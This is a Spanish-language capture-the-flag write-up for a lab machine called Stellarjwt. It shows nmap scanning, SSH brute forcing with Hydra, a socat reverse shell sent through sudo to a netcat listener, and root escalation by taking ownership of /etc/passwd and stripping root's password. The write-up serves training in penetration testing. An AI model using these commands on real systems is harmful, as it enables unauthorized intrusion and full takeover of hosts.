> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/stellarjwt-write-up.md).
# Stellarjwt write-up
## **Verificamos conexión con la máquina víctima**
## **Realizamos un escaneo para identificar los puertos abiertos de la máquina víctima.**
Utilizamos **nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:
```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```
El escaneo nos indica que el puerto 22 (SSH) y el 80 (HTTP) están abiertos. Así que ingresamos la IP de la máquina víctima en el navegador y observamos lo siguiente:
La respuesta a la pregunta es `Johann Gottfried Galle`. Por lo tanto, guardaremos cada palabra en dos diccionarios: uno de contraseñas y otro de usuarios. Además también vamos a guardar la palabra `neptuno` por si fuese la contraseña o el usuario.
```plaintext
Johann
Gottfried
Galle
neptuno
```
Y ahora vamos a hacer un ataque de fuerza bruta al servicio SSH con la herramienta **Hydra** con el siguiente comando:
```bash
hydra -L usuarios.txt -P contrasena.txt -I ssh://172.17.0.2 -V -F -u
```
Esto indica que el usuario es `neptuno` y la contraseña es `Gottfried`, así que ingresamos a la máquina víctima.
## **Escalada de privilegios**
Una vez dentro de la máquina víctima, nos encontramos en el directorio `/home/neptuno` el archivo oculto `.carta_a_la_NASA.txt`, el cual contiene lo siguiente:
Así que vamos a usar `Eisenhower` como contraseña para iniciar sesión como el usuario `nasa`.
Una vez somos el usuario `nasa`, ejecutamos el comando `sudo -l`, el cual nos indica que podemos ejecutar el binario `/usr/bin/socat` como el usuario `elite`.
Ahora, pondremos nuestra máquina local en escucha usando Netcat en el puerto 4444 y luego enviaremos una shell con Socat.
```bash
sudo nc -nlvvp 4444
```
```bash
sudo -u elite socat EXEC:/bin/bash TCP:172.17.0.1:4444
```
Una vez somos el usuario `elite`, ejecutamos el comando `sudo -l`, el cual nos indica que podemos ejecutar el binario `/usr/bin/chown` como el usuario `root`.
Ahora ejecutamos el siguiente comando para cambiar el propietario del archivo `/etc/passwd`:
```bash
sudo /usr/bin/chown elite:elite /etc/passwd
```
Ahora modificamos el archivo `/etc/passwd` para que el usuario root no tenga contraseña ejecutando lo siguiente:
```bash
printf "%s\n" "$(cat /etc/passwd | sed 's/root:x:/root::/g')" > /etc/passwd && su
```
Y finalmente habríamos obtenido una shell con privilegios elevados.